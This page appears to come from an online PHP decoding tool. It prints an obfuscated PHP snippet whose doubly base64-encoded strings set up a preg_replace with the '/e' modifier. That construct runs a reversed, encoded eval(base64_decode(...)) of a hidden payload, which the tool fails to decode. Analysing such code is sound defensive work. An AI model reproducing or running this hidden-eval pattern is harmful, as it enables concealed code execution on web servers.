Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (preg_match(base64_decode(base64_decode('THpCME5XRkVTa0oxWkdsaGJtbFhha1pPTHc9PQ=..

Decoded Output download

<?php 
if (preg_match(base64_decode(base64_decode('THpCME5XRkVTa0oxWkdsaGJtbFhha1pPTHc9PQ==')), file_get_contents(__FILE__))) { 
    define("CODE", "98|50|80|55|78|75|85|102"); 
    echo (preg_replace(base64_decode(base64_decode('THk0cUwyVT0=')), strrev(base64_decode(base64_decode('T3lrcEp6MXpWRXRHVWpCVVJHaHBaWEpHVjFwNVdtdGpNV2hIWkdoYWEwTk9NRE5QY0d0NVRUQk9SMHB2VlVkYWRrNXRUSEJyZVVwR05VVldTMVpVVjFWd01GSlBVbXhUTTA1SFZrdFNWRmRWY0RCa2FsSnNVMGR3UlZaTFFsUlhWWEJGWlZwU2JGTkljRVpXUzFKclYxVndhMUpoVW14VGVrMUhWa3RrYTFkVmNFVk5XbEpzVTBod1JWWkxWbXRYVlhBd1VtRlNiRk0yYkVaV1MxcHJVMVZ3YTFKaFVteFRNV3RHVmt0c1dGZFZjRlZOV2xKc1UzZE5SMVpMY0ROWlZYQkZaVnBTYkZNelRrZFdTMlJyVTFWd01GSkxVbXhUUXpWRlZrdGtNMWxWY0VWTmFsSnNVM2ROUjFaTFVsUlhWWEF3U205VlIxcDJUbGRhYXpsR1RqSlZNbU5vU2tkTGJGSXlZbXBXUjFwelNsaGtiM2R0WXpGT1IyVTNiSGxOTUU1SFNtOXZNMkZvVm0xalIwcFlaRzlTV0ZsSFFtbGlkbXhIWkdvMVYyUnRNVE5QTVVFelkydEJhV0o1Vmtoa2JFb3pUM0F3TVU1aVVtcFpiMUpEUzNsb01sbDFhMU5ZTW5OR1RtbG9SMHB2U1VoaGFqVlRTMlJXZWxjd1NVZGhhMmRwWTI5T2JVeHdNRVpPWWxKcVdXOVNRMHQ1YURKWmRXdFRXSHB6Ums1cGFFZEtiMGxJWVdvMVU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d1ZqSmpabmh0WXpGT01rOXdaME5rY0RWWFlXWjRiV014VGxkUWVEUnRZV3R6V0V0M2QxZGhhMmREWkd4a1IyVm5OREppY0ZJeldYVldibG9nSnlobFpHOWpaV1JmTkRabGMyRmlLR3hoZG1VPQ=='))), '')); 
} ?> 
#ZOYlJqWW9SQ0t5aDJBudianiWjFNWmRDS2xSMmWidarnawatiwa4323awe2

Did this file decode correctly?

Original Code

<?php
if (preg_match(base64_decode(base64_decode('THpCME5XRkVTa0oxWkdsaGJtbFhha1pPTHc9PQ==')), file_get_contents(__FILE__))) {
    define("CODE", "98|50|80|55|78|75|85|102");
    echo (preg_replace(base64_decode(base64_decode('THk0cUwyVT0=')), strrev(base64_decode(base64_decode('T3lrcEp6MXpWRXRHVWpCVVJHaHBaWEpHVjFwNVdtdGpNV2hIWkdoYWEwTk9NRE5QY0d0NVRUQk9SMHB2VlVkYWRrNXRUSEJyZVVwR05VVldTMVpVVjFWd01GSlBVbXhUTTA1SFZrdFNWRmRWY0RCa2FsSnNVMGR3UlZaTFFsUlhWWEJGWlZwU2JGTkljRVpXUzFKclYxVndhMUpoVW14VGVrMUhWa3RrYTFkVmNFVk5XbEpzVTBod1JWWkxWbXRYVlhBd1VtRlNiRk0yYkVaV1MxcHJVMVZ3YTFKaFVteFRNV3RHVmt0c1dGZFZjRlZOV2xKc1UzZE5SMVpMY0ROWlZYQkZaVnBTYkZNelRrZFdTMlJyVTFWd01GSkxVbXhUUXpWRlZrdGtNMWxWY0VWTmFsSnNVM2ROUjFaTFVsUlhWWEF3U205VlIxcDJUbGRhYXpsR1RqSlZNbU5vU2tkTGJGSXlZbXBXUjFwelNsaGtiM2R0WXpGT1IyVTNiSGxOTUU1SFNtOXZNMkZvVm0xalIwcFlaRzlTV0ZsSFFtbGlkbXhIWkdvMVYyUnRNVE5QTVVFelkydEJhV0o1Vmtoa2JFb3pUM0F3TVU1aVVtcFpiMUpEUzNsb01sbDFhMU5ZTW5OR1RtbG9SMHB2U1VoaGFq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YkU0eldITktXR1JxZEZSTGVIZHBWVVphTUZWUFJtdFZWVFZyVlZaU1ZsSlRPVVpXVVRsRlZGTldNVkZ6UldwaWNWSkRTekJDTTJJd1ZqSmpabmh0WXpGT01rOXdaME5rY0RWWFlXWjRiV014VGxkUWVEUnRZV3R6V0V0M2QxZGhhMmREWkd4a1IyVm5OREppY0ZJeldYVldibG9nSnlobFpHOWpaV1JmTkRabGMyRmlLR3hoZG1VPQ=='))), ''));
} ?>
#ZOYlJqWW9SQ0t5aDJBudianiWjFNWmRDS2xSMmWidarnawatiwa4323awe2

Function Calls

define 1
preg_match 1
base64_decode 2
file_get_contents 1

Variables

None

Stats

MD5 b2c3bc3bd5e9b5c95eeeea21d676e7da
Eval Count 0
Decode Time 145 ms